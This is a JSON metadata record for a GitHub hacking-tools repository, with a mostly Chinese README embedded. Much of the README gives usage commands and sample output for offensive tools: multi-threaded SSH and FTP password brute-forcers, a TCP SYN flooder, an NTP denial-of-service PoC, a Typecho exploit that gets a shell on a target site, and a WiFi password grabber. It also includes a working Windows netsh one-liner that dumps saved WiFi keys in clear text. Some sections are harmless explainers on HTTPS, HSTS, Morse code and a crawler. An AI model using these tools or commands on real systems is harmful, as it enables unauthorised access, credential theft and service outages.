{"id":13389870,"url":"https://github.com/LockGit/Hacking","last_synced_at":"2025-03-13T14:32:19.815Z","repository":{"id":36123410,"uuid":"40426389","full_name":"LockGit/Hacking","owner":"LockGit","description":"Hacker, ready for more of our story ! 🚀 ","archived":false,"fork":false,"pushed_at":"2023-05-20T16:06:42.000Z","size":68423,"stargazers_count":555,"open_issues_count":4,"forks_count":171,"subscribers_count":45,"default_branch":"master","last_synced_at":"2025-03-10T14:37:55.221Z","etag":null,"topics":["attack","attacker","attacks","cracker","geek","hack","hacker","hacking","hacking-tool","poc","scanner","security","security-research","security-vulnerability","tool","tools","vulnerabilities","vulnerability","vulnerability-scanners"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/LockGit.png","metadata":{"files":{"readme":"README.en.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2015-08-09T05:23:45.000Z","updated_at":"2025-03-01T23:49:45.000Z","dependencies_parsed_at":"2022-08-08T13:16:17.653Z","dependency_job_id":"e9c8e7e3-995f-4b83-a7a2-31e5425f2807","html_url":"https://github.com/LockGit/Hacking","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LockGit%2FHacking","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LockGit%2FHacking/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LockGit%2FHacking/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LockGit%2FHacking/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/LockGit","download_url":"https://codeload.github.com/LockGit/Hacking/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243422690,"owners_count":20288502,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack","attacker","attacks","cracker","geek","hack","hacker","hacking","hacking-tool","poc","scanner","security","security-research","security-vulnerability","tool","tools","vulnerabilities","vulnerability","vulnerability-scanners"],"created_at":"2024-07-30T13:01:36.940Z","updated_at":"2025-03-13T14:32:14.796Z","avatar_url":"https://github.com/LockGit.png","language":"Python","readme":"# Hacking Tools Demo\n[中文版本(Chinese version)](README.md)\n\n\n__Menu__\n\n| Topic                                    | Description                              |\n| :--------------------------------------- | :--------------------------------------- |\n| \u003ca href=\"https://github.com/LockGit/Hacking#远程命令执行\"\u003e远程命令执行(RCE)\u003c/a\u003e | 远程命令执行(RCE) |\n| [WiFi Cracker](https://github.com/LockGit/Hacking#wifi-cracker) | WiFi Password Cracker |\n| [HTTPS Schematics](https://github.com/LockGit/Hacking#https-schematics) | Schematics for the HTTPS Protocol |\n| [HSTS Schematics](https://github.com/LockGit/Hacking#hsts-schematics) | Schematics for the HSTS Protocol |\n| [TCP Port Forwarder](https://github.com/LockGit/Hacking#tcpportforwardpy-端口转发tool) | TCP Port Forwarder |\n| [typeEchoShell.py](https://github.com/LockGit/Hacking#typeecho-get-shell--typeecho反序列化漏洞利用) | typeEcho frame unserialize exploit |\n| [WiFi Password](https://github.com/LockGit/Hacking#获取所有连接过的wifi密码win平台) | Get All WiFi Passwords for Connected Networks (Windows Only) |\n| [ZIP Cracker](https://github.com/LockGit/Hacking#zipattackpy--zakpy-zip加密文件暴力破解) | Crack the Password for ZIP Archive |\n| [Dictionary Creator](https://github.com/LockGit/Hacking#createDictpy-生成一个简单的密码破解字典) | Create Dictionary for a Dictionary Attack |\n| [Port Scanner](https://github.com/LockGit/Hacking#portscanpy-多线程端口扫描器) | Multi-Threaded Port Scanner |\n| [SSH Cracker](https://github.com/LockGit/Hacking#sshattackpy-多线程ssh密码暴力破解) | Multi-Threaded SSH Password Brute Force Cracker |\n| [FTP Cracker](https://github.com/LockGit/Hacking#ftpattackpy-多线程ftp密码暴力破解) | Multi-Threaded FTP Password Brute Force Cracker |\n| [SYN Flooder](https://github.com/LockGit/Hacking#synfloodpy-一个简单的-tcp-syn-洪水攻击-python版) | TCP Flood Attack |\n| [NTP DOS](https://github.com/LockGit/Hacking#ntpdenialservicepy-一个使ntp拒绝服务的poc代码) | POC Program for NTP Denial Of Service |\n| [SQL Injector](https://github.com/LockGit/Hacking#分享一个sql注入的技巧) | SQL Injector |\n| [SMB Attacker](https://github.com/LockGit/Hacking#attacksmbwin10py-一个smb漏洞的poc代码) | POC Program to Attack SMB Vulnerability (Windows 10 Only) |\n| [Cross-Network Hijacking](https://github.com/LockGit/Hacking#badtunnel-pocrb-badtunnel-跨网段劫持) | Bad Tunnel Cross-Network Hijacking |\n| [SQL Injection Verifier](https://github.com/LockGit/Hacking#sqlinjetctpy-一个延时注入的验证) | Verification of a Delayed SQL Injection |\n| [SSRF and DNS Attacker](https://github.com/LockGit/Hacking#关于ssrf漏洞-与-dns域传送漏洞) | SSRF Vulnerability and DNS Domain Delivery Vulnerability Attacker |\n| [Nginx Parser Vulnerability](https://github.com/LockGit/Hacking#使用python构造一个fastcgi协议请求内容发送给php-fpm--nginxiis7解析漏洞原理) | Nginx (IIS7) Parsing Vulnerability Principle |\n| [Morse Encoder](https://github.com/LockGit/Hacking#morsepy-摩斯密码加解密) | Morse Password Encoder and Decoder |\n| [Website Crawler](https://github.com/LockGit/Hacking#crawlpy-轻量级图片爬虫) | Lightweight Website Crawler |\n| [List of PHP Audit Cases](https://github.com/LockGit/Hacking#wooyun_indexpy-1000个php代码审计案例20167以前乌云公开漏洞---增加索引) | 1000 PHP Code Audit Cases (Before 2016.7 Black Cloud Open Vulnerability) |\n| [Anti-Crawler Proxy List Server](https://github.com/LockGit/Hacking#proxy_crawlget_proxypy--ocr_imgpy-反爬虫代理服务器抓取实现方式) | Proxy List Server Implementation with Defenses Against Crawlers |\n| [HTTP Protocol](https://github.com/LockGit/Hacking#验证码识别v1http协议range特性分析\"\u003e验证码识别v1+HTTP协议Range特性分析.pdf) | Verification Code Identification and HTTP Protocol Range Analysis |\n| [Verification Code Recognition](https://github.com/LockGit/Hacking#基于机器学习tensorflow的复杂验证码识别\"\u003e基于机器学习(TensorFlow)的复杂验证码识别.pdf) | Complex Verification Code Recognition Based on Machine Learning (TensorFlow) |\n| [Scrapy Vulnerability List](https://github.com/LockGit/Py#scrapy-爬虫测试项目代码在仓库crawl_360目录下) | Scrapy Crawl Vulnerability List |\n| [IP address can also be expressed in this way.pdf](https://github.com/LockGit/Hacking/raw/master/pdf/ip地址也可以这么表示.pdf) | IP address can also be expressed in this way.pdf |\n| [About TTL lifetime.pdf](https://github.com/LockGit/Hacking/raw/master/pdf/关于TTL生存时间.pdf) | About TTL lifetime.pdf |\n| [Why can't correct SQL execute.pdf](https://github.com/LockGit/Hacking/raw/master/pdf/为什么正确的SQL不能执行.pdf) | Why can't correct SQL execute.pdf |\n| [From turning over the wall to using cloudflare as a springboard to access VPS.pdf](https://github.com/LockGit/Hacking/raw/master/pdf/从翻墙到使用cloudflare作为跳板来访问vps折腾出的几个问题.pdf) | From turning over the wall to using cloudflare as a springboard to access VPS.pdf |\n| [golang-assembly.md](https://github.com/LockGit/Hacking/raw/master/pdf/了解一下golang汇编.md) | golang-assembly.md |\n| [From execute redis command fail analysis Pipeline，TxPipeline，Transaction，Atomic.pdf](https://github.com/LockGit/Hacking/raw/master/pdf/从执行redis命令失败分析一下Pipeline，TxPipeline，Transaction，Atomic.pdf) | From execute redis command fail analysis Pipeline，TxPipeline，Transaction，Atomic.pdf |\n| [how to graceful get ip address.md](https://github.com/LockGit/Hacking/raw/master/pdf/正确获取ip地址.md) | how to graceful get ip address.md |\n\n### 远程命令执行\n```\nRemote Command/Code Execute 简称 RCE \n\n比如这篇文章：Gogs远程命令执行漏洞分析 （https://www.anquanke.com/post/id/163575）\n开发者在处理file型session时未处理危险字符造成目录穿越。\n攻击者通过目录穿越，伪造的管理员session，成功伪造管理员登陆,后利用Git hook实现任意远程命令执行。\n\n这只是Gogs项目，因为关注的人多，所以才被披露，实际场景中可能还有很多框架存在类似或者相似问题。\n\n比如2018年我在Beego中也发现了类似漏洞的存在，并向作者提交了一个漏洞修复的pr，链接如下： \n```\n[https://github.com/beego/beego/pull/3383](https://github.com/beego/beego/pull/3383)\n```\n作者也很快将修复代码合并到了主分支。\n但在这之间，另一位安全爱好者通过我提交的Beego框架的漏洞pr发现了某开源在线文档管理系统中存在漏洞，\n可以登录未授权用户账号。参考如下链接：\n```\n[https://github.com/lifei6671/mindoc/issues/384](https://github.com/lifei6671/mindoc/issues/384)\n```\n而主要原因在于这个开源在线文档管理系统使用了Beego框架，而当时的Beego框架版本中还存在类似漏洞并没有修复。\n\n在web领域的框架尤其PHP最多，这其中肯定也有很多问题，以前给国产某框架提过一个，当时WooYun还没有关闭，\n而现在WooYun所代表的白帽文化可能永远消失在互联网的浪潮中。\n\n有些问题其实是一个小的安全问题，其本身可能并没有什么特别高深的技术含量，但所有小的安全问题组合起来就可以变成一个大的安全问题。\n\n类似问题有很多，主要是聚焦开发的往往关注安全很少，只有关注的人足够多了或者有乐于分享的人或者有推动这些被公开的动力，\n那些潜在的漏洞才有可能被逐渐披露。\n```\n\n\n### attackWiFi.py 一个获取wifi密码的工具\n```\n破解原理：\n\t破解wifi万能钥匙的接口协议，非抓包暴力破解，wifi万能钥匙的服务端存储了大量的wifi密码相关信息\n\t通过向接口提供ssid和bssid信息，获取真实的wifi密码\n\t这里要感谢zke1ev3n逆向了wifi万能钥匙的安卓客户端\n\t本脚本完善了破解程序，增加了容错机制，获得的密码在response中其实是urlencode的，本脚本也增加了decode解码\n查看帮助\n➜  Hacking git:(master) ✗ py attackWiFi.py -h\nUsage: use:\n\t--ssid \u003cwifi ssid\u003e --bssid \u003cwifi bssid\u003e\n\tExample: python attackWiFi.py --ssid ssid --bssid bssid\n\nOptions:\n  -h, --help          show this help message and exit\n  --ssid=WIFI_SSID    the wifi ssid info\n  --bssid=WIFI_BSSID  the wifi bssid info\n\n第一步是要获得wifi的ssid和bssid信息，我演示的环境是Mac环境，其他环境请自行寻找下获取ssid和bssid的工具\nMac环境：\n\t执行：airport -s 获取所有wifi相关信息，这里部分信息进行了打码：\n\tMac下默认airport -s 是不行的，因为我在执行之前建过一个软链接：\n\tln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport\n\t其他操作系统获取方式可自行Google\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/ssid.png)\n```\n上一步获得了ssid和bssid信息\n执行获取密码：\npython attackWiFi.py --ssid xxx --bssid ****\nxxx 表示wifi的名称：比如wifi名叫：home\n**** 表示wifi的bssid信息：比如 17:71:94:14:84:0d (随便写的)\n那么获取密码就是：\npython attackWiFi.py --ssid home --bssid 17:71:94:14:84:0d\n成功了会显示password is: xxxxxxx\n也有可能会失败，貌似服务端是有check的，操作多了，会获取失败，这个时候可以换一个网络环境测试，或者换一个wifi测试\n```\n\n### 图解https\n```\n网上大部分关于https的讲解各式各样，也不易于理解。于是自己总结画了个图，如有错误欢迎批评指正\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/https.png)\n```\n1.[server] 生成配对的公钥和私钥，Pub,Pri\n2.[server] 服务器将“Pub”传给客户端\n3.[Client] 生成对称秘钥(\"key2\"),然后用key2加密信息\n4.[Client] 使用“Pub”加密“key2”。因为只有服务器知道“Pri”,所以“key2”是安全的\n5.[Client] send(加密后的数据)和(加密的后的key2)给服务器\n6.[Server] 用私钥“Pri”解密这个result_two，拿到“key2”\n7.[Server]用“key2”解密加密后的数据result_one。数据安全的到达来了服务器。\n\n总结:解密result_one用的key2采用对称加密,而公钥和私钥的生成则采用非对称加密,\n所以一个完整的https流程应该是既包含了对称加密也包含了非对称加密.\n```\n\n### 图解HSTS\n```\nHSTS一定是安全的的吗？助你深入理解HSTS的图。\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/hsts.png)\n\n\n### TcpPortForward.py 端口转发tool\n```\n使用场景:\n\n一：\nA服务器在内网，公网无法直接访问这台服务器，但是A服务器可以联网访问公网的B服务器（假设IP为222.2.2.2）。\n我们也可以访问公网的B服务器。我们的目标是访问A服务器的22端口。那么可以这样：\n\n1. 在B服务器上运行：\n./TcpPortForward.py l:10001 l:10002\n表示在本地监听了10001与10002两个端口，这样，这两个端口就可以互相传输数据了。\n\n2. 在A服务器上运行：\n./TcpPortForward.py c:localhost:22 c:222.2.2.2:10001\n表示连接本地的22端口与B服务器的10001端口，这两个端口也可以互相传输数据了。\n\n3. 然后我们就可以这样来访问A服务器的22端口了：\nssh 222.2.2.2 -p 10002\n原理很简单，这个命令执行后，B服务器的10002端口接收到的任何数据都会传给10001端口，此时，A服务器是连接了B服务器的10001端口的，\n数据就会传给A服务器，最终进入A服务器的22端口。\n\n二：\n不用更多举例了，TcpPortForward.py的l与c两个参数可以进行灵活的两两组合，多台服务器之间只要搞明白数据流方向，那么就能满足很多场景的需求。\n\ncollect from phithon\n```\n\n### typeEcho get Shell , typeEcho反序列化漏洞利用\n```\ntypeEchoShell.php 为生成shell的内容，经过base64后序列化的值，后用于typeEchoShell.py中的cookie一项\ntypeEchoShell.py  获取目标站点shell\n\n例：python typeEchoShell.py -u http://www.xxx.com\n\n若要自定义shell内容，可更改typeEchoShell.php，自定义shell内容\n\n```\n\n\n### 获取所有连接过的wifi密码(Win平台)\n```\n需要管理员权限\nfor /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/win_wifi_cmd.png)\n\n\n### zipattack.py | zak.py zip加密文件暴力破解\n\n```\n帮助说明：  python zipattack.py -h\n\n测试：\nzip test.zip *.gif -e \n\n进行暴力破解：\npython zipattack.py -f test.zip -d password.txt\n\n\n第二个脚本：zak.py 是无限穷举\npython zak.py -h \nUsage: usage\t -f \u003czipfile\u003e -t \u003ctype\u003e -l \u003clength\u003e or -h get help\n\nOptions:\n  -h, --help  show this help message and exit\n  -f ZNAME    specifyzip file\n  -t TNAME    specify type(num|a|A|aA|anum|numa|Anum|aAnum)\n  -l LENGTH   specify length,default=8\n例：\n\tpython zak.py -f test.zip -t num -l 12\n\t表示以数字类型，长度最长为12的密码枚举test.zip文件\n```\n\n\n### createDict.py 生成一个简单的密码破解字典\n```\npython createDict.py \n\n按ctrl+c 停止生成\n```\n\n### PortScan.py 多线程端口扫描器\n```\nMore Help: PortScan.py -h\n\n测试:\n\tpython PortScan.py -H www.baidu.com -p 80 443 110\n\t➜  py python PortScan.py -H www.baidu.com -p 80 443 110 \n\t\t[+] Scan Results for: 119.75.218.70\n\t\tScanning port 443\n\t\tScanning port 110\n\t\tScanning port 80\n\t\t[+]443/tcp open\n\t\t[+] HTTP/1.1 302 Moved Temporarily\n\t\tServer: bfe/1.0.8.18\n\t\tDate: Sun, 06 Nov 2016 08:43:40 GMT\n\t\tContent-T\n\t\t[-]110/tcp closed\n\t\t[-]80/tcp closed\n\tAlso, You can local test , The python script support domain or ip mode\n\tExample:\n\t\tpython PortScan.py -H 127.0.0.1 -p 80\n```\n\n### sshAttack.py 多线程ssh密码暴力破解\n```\n测试：\n\t➜  py python sshAttack.py -h                                                    \n\t\tUsage: -H \u003ctarget host\u003e -u \u003cuser\u003e -f \u003cpassword list\u003e\n\n\t\tOptions:\n\t\t  -h, --help     show this help message and exit\n\t\t  -H TGTHOST     specify target host\n\t\t  -f PASSWDFILE  specify password file\n\t\t  -u USER        specify the user\n\t\t  -c COUNT       specify the max ssh connect count , default 5\n\t\n\tpy python sshAttack.py -H 192.168.2.201 -u test -f /Users/lock/1.txt -c 20\n\t-c 用户测试指定ssh链接数，具体根据ssh config 文件判断\n\n例：\n➜  py python sshAttack.py -H 192.168.1.100 -u root -f password.md -c 20\n\t\t[-] Testing: 1111\n\t\t[-] Testing: 2222\n\t\t[-] Testing: 3333\n\t\t[-] Testing: 111111\n\t\t[-] Testing: 123123\n\t\t[-] Testing: 123456\n\t\t[+] Good , Key Found: 123456\n```\n\n### ftpAttack.py 多线程ftp密码暴力破解\n```\n测试：\n➜  py python ftpAttack.py -h\n\tUsage: -H \u003ctarget host\u003e -f \u003cpassword list\u003e\n\n\tOptions:\n\t  -h, --help     show this help message and exit\n\t  -H TGTHOST     specify target host\n\t  -f PASSWDFILE  specify password file,like username:password format file\n\t  -d DELAY       attack time delay set default 1s\n\n➜  py python ftpAttack.py -H 127.0.0.1 -f userpass.md -d 1\n\n\t[-] 127.0.0.1 FTP Anonymous Logon Failed.\n\t[+] Trying: root/aaa\n\n\t[-] Could not brute force FTP credentials.\n\n\t[+] Trying: lock/mmm\n\n\t[-] Could not brute force FTP credentials.\n\t[+] Trying: alice/123\n\n\n\t[-] Could not brute force FTP credentials.\n\n\tThe default test delay time is 0s , test default account is anonymous , if success, will show user name and password.\n\tuserpass.md is username and password file,the file format like below:\n\t\troot:123\n\t\thello:456\n\t\talice:789\n\t\ttest:12345\n```\n\n### synFlood.py 一个简单的 TCP SYN 洪水攻击 python版\n```\nMore Detail:\npython synFlood.py -h\n1,用 Scapy 简单的复制一个 TCP SYN 洪水攻击，将制作一些 IP 数据包,  TCP 513 目标端口。\n2,运行攻击发送 TCP SYN 数据包耗尽目标主机资源，填满它的连接队列，基本瘫 痪目标发送 TCP 重置包的能力。\n3,netstat -an 大量的半链接状态 SYN_RECV\n\n可能需要的依赖：\nbrew install --with-python libdnet\n\npip install scapy\npip install pcapy\npip install pydumbnet\n\n执行效果:\nSent 1 packets.\n.\nSent 1 packets.\n.\nSent 1 packets.\n.\nSent 1 packets.\n.\n....\n```\n\n### ntpDenialService.py 一个使ntp拒绝服务的poc代码\n```\n构造一个特殊的数据包，ntpd没有默认开启trap服务，如果trap被开启，攻击者就能通过特别构造的数据包导致空指针引、ntpd崩溃，进而导致服务器拒绝服务。\n测试：\n监听本地udp 1111 端口\n➜  ~ nc -l -u 0 1111\n\n执行：\n➜  Hacking git:(master) ✗ python ntpDenialService.py 127.0.0.1 1111\n[-] Sending payload to 127.0.0.1:1111 ...\n[+] Done!\n\n➜  ~ nc -l -u 0 1111\n\n6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP\n\n接受到这个特殊的数据包，ntpd崩溃，形成拒绝服务\n```\n\n### 分享一个SQL注入的技巧\n```\n审计开源框架/cms的时候可能会遇到一些有意思的注入漏洞\n当以pdo的方式连接mysql，也就是说可以多语句执行的时候\n然后，参考如下：\n\npython:\nimport binascii\ns='select * from x limit 1;'\n\nprint binascii.b2a_hex(s)\n# 获得16进制数据，73656c656374202a2066726f6d2078206c696d697420313b\n\nmysql -uroot\nset @a:=0x73656c656374202a2066726f6d2078206c696d697420313b;\n\nprepare s from @a;\n\nexecute s;\n\nmysql root@localhost:test\u003e execute s;\n+------+----------+-------+\n|   id |   is_reg |   pid |\n|------+----------+-------|\n|    1 |        1 |     0 |\n+------+----------+-------+\n1 row in set\nTime: 0.002s\n```\n\n### attackSmb/win10.py 一个SMB漏洞的Poc代码\n```\n此漏洞主要影响Windows Server 2012/2016、Win8/8.1以及Win10系统。\n攻击者可以模拟成一个SMB服务器，诱使客户端发起SMB请求来触发漏洞。\n攻击者也可以通过中间人方式“毒化”SMB回应，插入恶意的SMB回复实现拒绝服务或控制受害系统。\n```\n![](https://github.com/LockGit/Hacking/blob/master/attackSmb/attacksmb.png)\n\n\n### badtunnel-poc.rb badtunnel 跨网段劫持\n```\ndetail:\nbadtunnel-poc.rb\n```\n\n### sqlInjetct.py 一个延时注入的验证\n```\n根据返回的时间差来猜测注入的结果是否正确(无视代码很烂)\n帮助：\n➜  Hacking git:(master) ✗ py sqlInjetct.py\n-----Usage:-----\n\nExample:\npython sqlInject.py -u http://xxx.xxx.com/id=123\n\n```\n\n### 关于SSRF漏洞 与 DNS域传送漏洞\n```\nSSRF放大以后还是十分危险的，当利用SSRF刺探内网的时候，结合dict伪协议再利用ftp协议刺探某个ip是否存活.\n一般情况下如果可以在极短时间内得到response那么基本可以判定该ip存活，反之不存在该ip。\n这个技巧也是收集过来的，至于为什么应该是和ftp协议本身有关?\n获得一幅内网蓝图SSRF是一个不错的选择。\n如何判断SSRF：\n1,SSRF是由服务端发起的请求，因此在加载图片的时候，是由服务端发起的。\n2,在我们本地浏览器的请求中就不应该存在图片的请求，如果抓包可以立即看到效果。\n\nDNS域传送漏洞：\n主域服务器A，备域服务器B,\nA，B之间需要备份相关的域名，ip对应信息,\n原则上只有B可以去同步A信息到自己的数据库中。但是由于配置错误,\n导致任意客户端向主域发起请求,主域都会把相关信息返回给客户端,内部网络蓝图被轻松泄露。\n\ndig soa xxx.com\n得到ANSWER SECTION:假设为：\nns3.dnsv4.com\n\n查看是否有域传送返回：\ndig axfr xxx.com @ns3.dnsv4.com\n有返回就表示漏洞存在\n```\n\n### 使用Python构造一个fastcgi协议请求内容发送给php-fpm , Nginx（IIS7）解析漏洞原理\n```\n查看帮助：\npython fpm.py -h \n\n这篇文章写的不错，于是收集了过来：\nhttps://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html\n\n简述如下：\nNginx和IIS7曾经出现过一个PHP相关的解析漏洞（测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability）.\n该漏洞现象是，在用户访问http://127.0.0.1/favicon.ico/.php时，访问到的文件是favicon.ico，但却按照.php后缀解析了。\n\n用户请求http://127.0.0.1/favicon.ico/.php，nginx将会发送如下环境变量到fpm里：\n\n{\n    ...\n    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',\n    'SCRIPT_NAME': '/favicon.ico/.php',\n    'REQUEST_URI': '/favicon.ico/.php',\n    'DOCUMENT_ROOT': '/var/www/html',\n    ...\n}\n正常来说:\nSCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php，\n是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。\nPHP为了支持Path Info模式而创造了fix_pathinfo，在这个选项被打开的情况下，\nfpm会判断SCRIPT_FILENAME是否存在，如果不存在则去掉最后一个/及以后的所有内容，\n再次判断文件是否存在，往次循环，直到文件存在。\n\n所以，第一次fpm发现/var/www/html/favicon.ico/.php不存在，则去掉/.php，再判断/var/www/html/favicon.ico是否存在。\n显然这个文件是存在的，于是被作为PHP文件执行，导致解析漏洞。\n\n正确的解决方法有两种：\n一，在Nginx端使用fastcgi_split_path_info将path info信息去除后，用tryfiles判断文件是否存在；\n二，借助PHP-FPM的security.limit_extensions配置项，避免其他后缀文件被解析。\n\n```\n\n### morse.py 摩斯密码加解密\n```\n摩斯密码是由美国的三缪摩斯发明的一套加密算法，是一种断断续续的信号代码。\n加密：\n➜  ~ python morse.py -e lock\n.-.. --- -.-. -.-\n\n解密:\n➜  ~ python morse.py -d '.-.. --- -.-. -.-'\nlock\n➜  ~\n\n查看帮助:\n➜  ~ python morse.py\nusage\t -e|-d msg or -h get help\n\n```\n\n### crawl.py 轻量级图片爬虫\n```\n修改crawl.py中:\nURL = \"https://www.xxx.top\" # 要爬取的网站\n\n# 爬取的URL域名范围\nURL_RULE = [\n        'https://www.xxx.top',\n        'https://xxx.top',\n        'http://www.xxx.top',\n        'http://xxx.top'\n]\n\n执行爬虫：\npython crawl.py \n\n```\n\n### wooyun_index.py 1000个PHP代码审计案例(2016.7以前乌云公开漏洞)---增加索引\n```\ngit clone git@github.com:Xyntax/1000php.git\n默认是没有索引的，所以查看漏洞十分不方便\n1，cd 1000php\n2，执行下载我的脚本：wget https://raw.githubusercontent.com/LockGit/Hacking/master/wooyun_index.py -O wooyun_index.py\n3，执行：mkdir css \u0026\u0026 mkdir js \n4，执行：wget https://github.com/LockGit/Hacking/raw/master/res/style.css -O style.css -P css/\n5，执行：wget https://github.com/LockGit/Hacking/raw/master/res/jquery-1.4.2.min.js -O jquery-1.4.2.min.js -P js/\n6，执行：python wooyun_index.py 会生成漏洞索引列表，此时会生成index.html文件，打开这个文件即可\n效果如下：\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/1000php.png)\n![](https://github.com/LockGit/Hacking/blob/master/img/1000php_detail.png)\n\n### proxy_crawl/get_proxy.py | ocr_img.py 反爬虫代理服务器抓取实现方式\n```\n访问：http://www.goubanjia.com/free/index.shtml 可看到该网站提供了很多代理服务器\n但是核心的代理ip信息采用了反爬虫策略\n可以看下page结构如下面图片描述,写过爬虫的同学知道这是有意混淆页面结构,让爬虫无法抓取到正确信息，从而在一定程度上起到保护作用。\n写了2个py文件进行了一个小测试，是一个简单实现,代码在仓库proxy_crawl目录下：\n没有什么高深的技术含量\n核心原理是通过selenium唤醒chrome打开待抓取页面，然后程序自动对每一页内容进行截图，保存在proxy_crawl/img下面(如下图)\n之后通过pytesseract对抓取到的图片进行识别，直接无视前端页面的混淆\npytesseract模块可以尝试下，国外还有大神用js实现了这个模块，支持62种语言浏览器端的识别，当然，也是需要模型数据支持的\n一般还可以识别一下简单的验证码，但是复杂的不行，太过复杂的可能需要比如tensorflow+cnn，网上也有案例\n清洗数据并记录到proxy_crawl/proxy.md文件中\n环境：python 2.7.14 , 模块可以自己看下 py 文件代码，pip install 下所用到的模块\n执行：python get_proxy.py 抓取图片\n执行：python ocr_img.py 代理数据识别\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/page_detail.png)\n![](https://github.com/LockGit/Hacking/blob/master/img/crawl_png.png)\n![](https://github.com/LockGit/Hacking/blob/master/img/img_list.png)\n![](https://github.com/LockGit/Hacking/blob/master/img/proxy_list.png)\n\n\n### 验证码识别v1+HTTP协议Range特性分析 \n```\nGoogle 搜索 tesseract.js 字符识别\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/code_v1.png)\n\n总结文档：+ [验证码识别v1+HTTP协议Range特性分析.pdf](https://github.com/LockGit/Hacking/blob/master/res/doc/验证码识别v1+HTTP协议Range特性分析.pdf)\n```\nHTTP协议Range特性分析(多线程文件下载器实现):\n```\n+ [多线程文件下载器实现](https://github.com/LockGit/Py#nice_downloadpy-多线程文件下载器)\n\n\n### 基于机器学习(TensorFlow)的复杂验证码识别\n![](https://github.com/LockGit/Hacking/blob/master/img/code_v2.png)\n```\n运用机器学习算法时，如果不理解实现原理，先套接口先实现功能，识别算法是通用的。一般处理不同验证码，有不同的处理策略。\n分类算法举例：（具体：https://github.com/LockGit/Py）\n    01，knn   (k点邻近算法）\n    02，svm（支持向量机，十分复杂）\n    ...\nSVM算法相比较KNN算法来说，原理上要复杂复杂的多，SVM算法基本思想是把数据转化为点，\n通过把点映射到n维空间上，通过n-1维的超平面切割，找到最佳切割超平面，\n通过判断点在超平面的哪一边，来判断点属于哪一类字符。\n\n基于机器学习的验证码识别则是把要识别的对象当做一个整体。\n选择0-9纯数字，CNN网络4*10个输出，学习时间：70分钟，模型准确率：99%\n验证码预测截图:\n```\n![](https://github.com/LockGit/Hacking/blob/master/img/cnn_test.png)\n\n总结文档：+ [基于机器学习(TensorFlow)的复杂验证码识别.pdf](https://github.com/LockGit/Hacking/blob/master/res/doc/基于机器学习(TensorFlow)的复杂验证码识别.pdf)\n\n\n\n","funding_links":[],"categories":["Python (1887)","Python"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FLockGit%2FHacking","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FLockGit%2FHacking","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FLockGit%2FHacking/lists"}